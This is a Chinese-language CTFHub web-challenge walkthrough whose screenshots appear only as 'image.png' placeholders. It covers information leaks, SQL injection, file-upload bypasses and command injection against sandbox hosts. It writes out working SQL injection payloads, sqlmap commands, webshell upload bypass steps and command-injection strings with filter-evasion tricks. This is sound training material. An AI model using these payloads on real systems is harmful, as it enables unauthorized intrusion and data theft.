【CTFHUB】Web技能树

简介: 【CTFHUB】Web技能树

Web

HTTP协议

请求方式

image.png

 

302跳转

image.png

 

image.png

 

基础认证

image.png

image.png

image.png

 

响应包源代码

image.png

 

信息泄露

目录遍历

image.png

 

phpinfo

image.png

 

备份文件下载

网站源码

image.pngimage.png

image.png

 

bak文件

image.pngimage.png

 

vim缓存

image.png

下载下来放到linux中

在文件前面加的点(.)   .index.php.swp

然后运行 vi -r index.php

image.png

image.png

 

.DS_Store

image.png

记事本打开

image.png

image.png

 

Git泄露

Log

python git_extract.py http://challenge-8cff71d12c02de35.sandbox.ctfhub.com:10080/.git/

image.png

 

Stash

同上

 

Index

同上

 

SVN泄露

使用dvcs-ripper工具

image.png

image.png

 

HG泄露

使用dvcs-ripper工具

image.png

image.png

 

 

密码口令

弱口令

admin 123456

 

默认口令

百度搜索亿邮邮件网关默认口令

image.png

 

 

 

SQL注入

整数型注入

image.png

 

字符型注入

image.png

 

报错注入

extractvalue函数报错:       1 and ( extractvalue( 'anything',concat( '~', (select database()) ) ) );

updatexml函数报错:          1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

只能显示32位:

image.png

substr(字符串,开始位置,长度)

image.png

 

布尔盲注

sqlmap

sqlmap -u "http://challenge-520521e9124c0be8.sandbox.ctfhub.com:10080/?id=1" --dbs -technique B

 

数据库 sqli   表 flag   字段 flag

 

时间盲注image.png

sqlmap

sqlmap -u " http://challenge-58442e11e1306e17.sandbox.ctfhub.com:10080/?id=1" --dbs -technique T

 

MySQL结构

-1 union select 1, group_concat(djbtjjrnuq) from sqli.pqfzaflkkt;

 

cookie注入

sqlmap -u " http://challenge-52d3494f9e4a406f.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs 

 

UA注入

user-agent:   -1 union select 1,group_concat(hddxcgzzsv) from sqli.bgerzmdwpi;#

sqlmap:

sqlmap -u "http://challenge-f7a6b5d5665981cc.sandbox.ctfhub.com:10080/" --user-agent "123" --level 3 --dbs -technique U --dbms

 

Refer注入

同上,只不过在referer中输入SQL语句

 

XSS

反射型

image.png

image.png

 

文件上传

无验证

image.png

image.png

image.png

image.png

前端验证

把PHP文件后缀改为jpg,抓包再改回php

image.png

.htaccess

上传.htaccess和hhh.jpg

image.png

 

MIME绕过

正常上传,抓包,将content-type改为 image/jpeg

image.png

00截断

image.png

双写后缀

image.png

文件头检测

将一句话马改为jpg后缀,抓包,修改后缀为php,并添加gif头

image.png

 

RCE

命令注入

127.0.0.1 & ls

 

过滤cat

127.0.0.1 & more flag_162822816029866.php

image.png

 

过滤空格

使用${IFS}代替空格(可以代替空格的有IFS$9、%09、%0a、<、>、<>、{,}、${IFS}等)

 

过滤目录分隔符

使用;符号分割命令

127.0.0.1 & ls

发现flag_is_here目录

127.0.0.1 & cd flag_is_here;ls

发现flag_44052408916433.php文件

127.0.0.1& cd flag_is_here;ls;cat flag_44052408916433.php

查看源代码得到flag

 

过滤运算符

127.0.0.1 ; cat flag_991932693945.php

 

综合过滤练习

过滤了|,&,;, ,/,cat,flag,ctfhub

%0a(换行符)可以代替;符号,但是要在url处输入,不然会被再次转义

%09或者${IFS}等,可以替代空格

通配符 *   ?

 

127.0.0.1%09%0a%09cd%09fla?_is_here%0amore%09fla?_260832613315632.php#

 

 

 


相关文章
|
19天前
ctfhub->web->web前置技能->HTTP协议->请求方式
ctfhub->web->web前置技能->HTTP协议->请求方式
|
13天前
|
开发框架 前端开发 .NET
C#编程与Web开发
【4月更文挑战第21天】本文探讨了C#在Web开发中的应用,包括使用ASP.NET框架、MVC模式、Web API和Entity Framework。C#作为.NET框架的主要语言,结合这些工具,能创建动态、高效的Web应用。实际案例涉及企业级应用、电子商务和社交媒体平台。尽管面临竞争和挑战,但C#在Web开发领域的前景将持续拓展。
|
2天前
|
关系型数据库 MySQL
web简易开发(二){html5+php实现文件上传及通过关键字搜索已上传图片)}
web简易开发(二){html5+php实现文件上传及通过关键字搜索已上传图片)}
|
4天前
|
开发框架 JavaScript 前端开发
【JavaScript 与 TypeScript 技术专栏】TypeScript 在 Web 开发中的前沿应用
【4月更文挑战第30天】TypeScript在Web开发中日益重要,以其强大的类型系统提升代码质量,支持组件化开发,与React、Vue、Angular等框架良好集成。在大型项目管理中,TypeScript助于代码组织和优化,提高团队协作效率。此外,它提升开发体验,提供智能提示和错误检测。众多成功案例证明其前沿应用,未来将在Web开发领域持续发挥关键作用。
|
5天前
|
前端开发 JavaScript 测试技术
【PHP开发专栏】PHP Web开发基础与流程
【4月更文挑战第29天】本文介绍了PHP Web开发的基础和流程,帮助初学者入门。内容包括Web服务器与PHP解释器的工作原理、HTML/CSS/JavaScript基础知识、PHP语法与数据库操作。开发流程涵盖项目规划、环境搭建、数据库设计、代码编写、测试与调试,以及部署与维护。此外,文中还强调了使用框架、代码组织、安全性及性能优化等进阶知识和最佳实践,旨在培养优秀PHP开发者。
|
5天前
|
前端开发 JavaScript 开发者
前端技术栈:探索现代Web开发的核心要素与代码实践
前端技术栈:探索现代Web开发的核心要素与代码实践
12 1
|
7天前
|
前端开发 数据管理 Ruby
blog-engine-10-middleman 静态站点生成器,利用了现代 Web 开发中的所有快捷方式和工具
这篇内容介绍了Middleman,一个基于Ruby的静态网站生成器。Middleman的特点包括静态网站生成、模板系统、前端技术支持、数据管理和简单的部署。安装步骤涉及安装Ruby和运行`gem install middleman`。使用方法包括在`source`目录编写内容,使用`middleman server`预览,`middleman build`构建网站,然后部署到服务器。Middleman的优势在于速度、灵活性和数据管理,但需要Ruby知识,且社区规模较小。适合熟悉Ruby并寻求强大建站工具的用户。
|
7天前
|
存储 缓存 JSON
【Web开发】会话管理与无 Cookie 环境下的实现策略
【Web开发】会话管理与无 Cookie 环境下的实现策略
|
10天前
|
开发框架 前端开发 安全
Java从入门到精通:2.2.2学习使用Spring框架进行Web应用开发
Java从入门到精通:2.2.2学习使用Spring框架进行Web应用开发
|
10天前
|
设计模式 存储 前端开发
Java从入门到精通:2.2.1学习Java Web开发,了解Servlet和JSP技术,掌握MVC设计模式
Java从入门到精通:2.2.1学习Java Web开发,了解Servlet和JSP技术,掌握MVC设计模式